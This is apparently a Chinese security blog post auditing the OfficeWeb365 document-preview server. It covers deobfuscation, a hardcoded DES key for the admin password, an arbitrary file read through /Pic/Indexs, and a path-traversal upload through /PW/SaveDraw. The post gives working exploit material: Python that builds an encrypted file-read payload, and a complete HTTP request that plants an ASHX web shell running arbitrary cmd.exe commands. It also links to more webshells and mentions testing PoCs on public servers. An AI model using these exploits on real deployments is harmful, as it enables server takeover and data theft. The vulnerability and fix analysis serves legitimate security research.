
偷得浮生半日闲
安装
https://officeweb365.com/download/

下载全新安装包,版本为8.2.30,然后在windows server的IIS环境中安装即可
后台设置界面:http://localhost:8088/config,默认用户名:myname,密码:password
配置文件Config.config:

可以看出账号密码是存储在配置文件中的
反混淆
首先,该源码使用.NET Reactor
进行混淆,导致反编译出来的代码非常难以看懂,这个时候就得使用工具反混淆:https://github.com/de4dot/de4dot,我们直接下载吾爱破解的:https://down.52pojie.cn/Tools/NET/de4dot.zip

批量反混淆处理
1
| de4dot.exe -r C:\OfficeWeb365\officeweb\bin\ -ru -ro C:\OfficeWeb365\officeweb\bin2
|

最后来看看前后差异,反混淆前:

反混淆后:

代码可读性大大滴增强了
代码审计
由于没怎么接触过.net应用,有什么不到之处多多谅解
看到Dx.OfficeView.dll,里面的Dx.OfficeView.Controllers
包含了所有的 MVC Controller

看到ConfigController,里面是登录逻辑

通过DES解密Config.config中存放的密码,然后判断是否和传入的uPass相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| public static string smethod_2(string DecryptStr, string IV, string Key) { DecryptStr = DecryptStr.Replace('_', '+').Replace('-', '=').Replace('*', '/').Replace('@', '/'); string text; try { using (DESCryptoServiceProvider descryptoServiceProvider = new DESCryptoServiceProvider()) { using (MemoryStream memoryStream = new MemoryStream()) { byte[] bytes = Encoding.UTF8.GetBytes(Key); byte[] bytes2 = Encoding.UTF8.GetBytes(IV); byte[] array = Convert.FromBase64String(DecryptStr); using (CryptoStream cryptoStream = new CryptoStream(memoryStream, descryptoServiceProvider.CreateDecryptor(bytes, bytes2), CryptoStreamMode.Write)) { cryptoStream.Write(array, 0, array.Length); cryptoStream.FlushFinalBlock(); } text = Encoding.UTF8.GetString(memoryStream.ToArray()); } } } catch (Exception ex) { text = "解密失败!" + ex.Message; } return text; }
|
这里的Key和IV都是默认值为dx185185,所以如果读取到Config.config,就可以登录后台了
/Pic/Indexs 任意文件读取

就很简单,通过System.IO.File.ReadAllBytes
进行文件读取,但注意这里不是网站路径,所以无法通过相对路径读取网站配置文件
加解密的Key、IV都是已知的,需要注意的就是Remove(imgs.Length - 2, 2)
,它会移除最后两位字符
网上的加密代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| from Cryptodome.Cipher import DES from Cryptodome.Util.Padding import pad, unpad import base64
def encrypt_des(plaintext, key, iv): cipher = DES.new(key, DES.MODE_CBC, iv) padded_plaintext = pad(plaintext.encode('utf-8'), DES.block_size) ciphertext = cipher.encrypt(padded_plaintext) return base64.b64encode(ciphertext).decode('utf-8')
def decrypt_des(ciphertext, key, iv): cipher = DES.new(key, DES.MODE_CBC, iv) ciphertext = base64.b64decode(ciphertext) decrypted = unpad(cipher.decrypt(ciphertext), DES.block_size).decode('utf-8') return decrypted
plaintext = "C:\windows\win.ini"
Keys = bytes([102, 16, 93, 156, 78, 4, 218, 32]) Iv = bytes([55, 103, 246, 79, 36, 99, 167, 3])
ciphertext = encrypt_des(plaintext, Keys, Iv) print("加密后的密文:", ciphertext)
decrypted_text = decrypt_des('U4MXvYDVuVrybiwjpvXs7R2FZA8nRywM', Keys, Iv) print("解密后的明文:", decrypted_text)
|
/Pic/Indexs?imgs=U4MXvYDVuVrybiwjpvXs7R2FZA8nRywMaa

参考:
officeWeb365 Indexs接口存在任意文件读取漏洞 附POC软件
/PW/SaveDraw 任意文件上传

代码也很简单易懂,直接使用+
拼接了文件路径,导致可以目录穿越写文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| POST /PW/SaveDraw?path=../../Content/img&idx=test.ashx HTTP/1.1 Host: 192.168.111.138:8088 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1474
data:image/png;base64,<% @ webhandler language="C#" class="AverageHandler" %>
using System; using System.Web; using System.Diagnostics; using System.IO;
public class AverageHandler : IHttpHandler { /* .Net requires this to be implemented */ public bool IsReusable { get { return true; } }
/* main executing code */ public void ProcessRequest(HttpContext ctx) { Uri url = new Uri(HttpContext.Current.Request.Url.Scheme + "://" + HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl); string command = HttpUtility.ParseQueryString(url.Query).Get("cmd");
ctx.Response.Write("<form method='GET'>Command: <input name='cmd' value='"+command+"'><input type='submit' value='Run'></form>"); ctx.Response.Write("<hr>"); ctx.Response.Write("<pre>");
/* command execution and output retrieval */ ProcessStartInfo psi = new ProcessStartInfo(); psi.FileName = "cmd.exe"; psi.Arguments = "/c "+command; psi.RedirectStandardOutput = true; psi.UseShellExecute = false; Process p = Process.Start(psi); StreamReader stmrdr = p.StandardOutput; string s = stmrdr.ReadToEnd(); stmrdr.Close();
ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s)); ctx.Response.Write("</pre>"); ctx.Response.Write("<hr>"); ctx.Response.Write("By <a href='http://www.twitter.com/Hypn'>@Hypn</a>, for educational purposes only."); } } ///---
|
最后文件保存在/Content/img/UserDraw/drawPWtest.ashx

网上找个ashx马即可:
https://github.com/yangbaopeng/ashx_webshell/blob/master/shell.ashx
https://www.t00ls.com/articles-29937.html
漏洞修复
下载 8.6.1 增量包

做了如下修复:
- idx设置为int型
- 限制了访问的host,这个直接更改host头即可
- 不能包含目录穿越的字符

如上所示
总结
其实网上还有个furl文件解压的漏洞,但是从Web.config中看到使用了<denyUrlSequences>
,导致我们无法访问到路径/cache/office/

所以说,即使上传成功也访问不到
鉴权方面则是使用[Authorize(Users = "OfficeWeb365Config")]

没什么好的绕过思路
2024.1.29更新
哎,挖的小洞又没了

哭哭,长记性了,以后还是不要在公网测试poc